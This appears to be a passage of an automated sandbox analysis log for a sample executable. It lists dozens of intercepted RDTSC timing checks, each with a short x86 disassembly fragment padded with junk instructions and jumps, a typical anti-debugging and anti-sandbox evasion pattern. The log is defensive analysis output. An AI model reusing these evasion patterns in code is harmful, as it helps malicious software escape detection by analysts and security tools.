Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A7EA second address: 72A7EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B875 second address: 72B87B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C900 second address: 72C904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D9E5 second address: 72D9E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B87B second address: 72B87F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F7F0 second address: 72F879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 jmp 00007F488D045409h 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F488D0453F8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 movzx ebx, di 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007F488D0453F8h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 00000015h 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 xchg eax, esi 0x00000048 push edi 0x00000049 jl 00007F488D045403h 0x0000004f jmp 00007F488D0453FDh 0x00000054 pop edi 0x00000055 push eax 0x00000056 js 00007F488D045400h 0x0000005c pushad 0x0000005d push edx 0x0000005e pop edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E97A second address: 72E97E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E97E second address: 72E990 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F488D0453F8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7308B7 second address: 7308BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7308BD second address: 7308CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F488D0453F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F95B second address: 72F97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F488C756D08h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7308CA second address: 7308CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7329ED second address: 7329F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73585E second address: 735864 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735864 second address: 73587E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F488C756D06h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73587E second address: 735882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7389FC second address: 738A06 instructions: 0x00000000 rdtsc 0x00000002 je 00007F488C756CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739C02 second address: 739C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739C07 second address: 739C44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F488C756D21h 0x0000000f jmp 00007F488C756D07h 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD507 second address: 6CD515 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E32E second address: 73E332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73DA96 second address: 73DABE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D0453FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F488D0453F6h 0x00000011 jmp 00007F488D045400h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74273D second address: 742741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74283F second address: 742864 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F488D0453FEh 0x00000008 je 00007F488D0453F6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 push esi 0x00000014 jl 00007F488D0453FCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742864 second address: 742872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742872 second address: 742877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742877 second address: 74287C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747DFE second address: 747E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F488D045400h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748263 second address: 748267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748267 second address: 748285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F488D045406h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748285 second address: 748297 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756CFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748715 second address: 74871B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BDA3 second address: 74BDA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BDA7 second address: 74BDCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D0453FAh 0x00000007 jmp 00007F488D045401h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC8CB second address: 6DC8D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC8D1 second address: 6DC8D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC8D5 second address: 6DC8DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC8DF second address: 6DC920 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F488D045410h 0x00000010 jmp 00007F488D045408h 0x00000015 push edx 0x00000016 pop edx 0x00000017 jno 00007F488D045407h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75358F second address: 753594 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7536F9 second address: 753709 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jo 00007F488D0453F6h 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753709 second address: 75373D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F488C756D06h 0x00000010 je 00007F488C756CF6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753A92 second address: 753A98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75419E second address: 7541A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700BDB second address: 700BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700BE4 second address: 700BE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754A4B second address: 754A8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D0453FFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F488D045403h 0x00000011 jmp 00007F488D045405h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7532AF second address: 7532C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F488C756CF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7532C1 second address: 7532C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A8CB second address: 75A8E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D02h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A8E3 second address: 75A8E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759C28 second address: 759C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759C2E second address: 759C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F488D045401h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759C43 second address: 759C73 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F488C756CF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F488C756D10h 0x00000016 jmp 00007F488C756D08h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759C73 second address: 759C87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D0453FFh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759DF6 second address: 759DFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759DFB second address: 759E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A1EA second address: 75A1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A1F0 second address: 75A1FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A1FB second address: 75A205 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F488C756CF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A205 second address: 75A20B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A20B second address: 75A225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F488C756D04h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700035 second address: 700042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F488D0453FCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DEFE second address: 75DF40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F488C756CFEh 0x0000000f jns 00007F488C756CF6h 0x00000015 popad 0x00000016 jnc 00007F488C756CF8h 0x0000001c pushad 0x0000001d je 00007F488C756CF6h 0x00000023 push edx 0x00000024 pop edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71DEC4 second address: 71DECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E1EF second address: 71E1F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E1F4 second address: 71E1FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E1FA second address: 56EB3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F488C756CFEh 0x0000000f push dword ptr [ebp+122D11A5h] 0x00000015 mov edi, dword ptr [ebp+122D20A6h] 0x0000001b push esi 0x0000001c mov dword ptr [ebp+124763D1h], edx 0x00000022 pop edx 0x00000023 call dword ptr [ebp+122D3719h] 0x00000029 pushad 0x0000002a sub dword ptr [ebp+122D2E89h], edx 0x00000030 xor eax, eax 0x00000032 jmp 00007F488C756D07h 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b pushad 0x0000003c jmp 00007F488C756D03h 0x00000041 popad 0x00000042 mov dword ptr [ebp+122D2CCEh], eax 0x00000048 pushad 0x00000049 jmp 00007F488C756D08h 0x0000004e popad 0x0000004f jns 00007F488C756CF7h 0x00000055 mov esi, 0000003Ch 0x0000005a add dword ptr [ebp+122D2E89h], edx 0x00000060 mov dword ptr [ebp+122D2E89h], eax 0x00000066 add esi, dword ptr [esp+24h] 0x0000006a mov dword ptr [ebp+122D2E89h], ecx 0x00000070 cld 0x00000071 lodsw 0x00000073 cld 0x00000074 add eax, dword ptr [esp+24h] 0x00000078 jp 00007F488C756CFCh 0x0000007e mov dword ptr [ebp+122D34F3h], edx 0x00000084 mov ebx, dword ptr [esp+24h] 0x00000088 jnl 00007F488C756CFEh 0x0000008e push eax 0x0000008f push eax 0x00000090 push edx 0x00000091 pushad 0x00000092 jmp 00007F488C756CFEh 0x00000097 jmp 00007F488C756CFFh 0x0000009c popad 0x0000009d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E2DD second address: 71E30A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045403h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F488D045400h 0x00000015 jmp 00007F488D0453FAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E30A second address: 71E30F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E30F second address: 71E31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E31D second address: 71E321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E48A second address: 71E49F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F488D045401h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E49F second address: 71E4BF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F488C756CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F488C756D01h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5A5 second address: 71E5C4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jno 00007F488D0453FAh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5C4 second address: 71E5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EE88 second address: 71EE9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045402h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EE9E second address: 71EEB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F488C756D05h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EEB7 second address: 71EEEB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F488D0453F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jnl 00007F488D04540Eh 0x00000016 mov eax, dword ptr [eax] 0x00000018 push ebx 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EEEB second address: 71EF06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F488C756CFCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EF06 second address: 71EF0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E1D9 second address: 75E1FB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F488C756D0Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E1FB second address: 75E219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 jmp 00007F488D045402h 0x0000000c push eax 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E64E second address: 75E654 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E654 second address: 75E663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F488D0453F6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E8FB second address: 75E8FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E8FF second address: 75E916 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F488D0453F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F488D0453FDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA4F second address: 75EA77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F488C756CF6h 0x00000009 jmp 00007F488C756D07h 0x0000000e jnl 00007F488C756CF6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EB8B second address: 75EBA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F488D045402h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7699 second address: 6D769D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76456C second address: 76458F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F488D045408h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76458F second address: 7645AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F488C756D05h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7645AC second address: 7645B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7671E1 second address: 767209 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F488C756D08h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f je 00007F488C756CF6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7673C4 second address: 7673CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
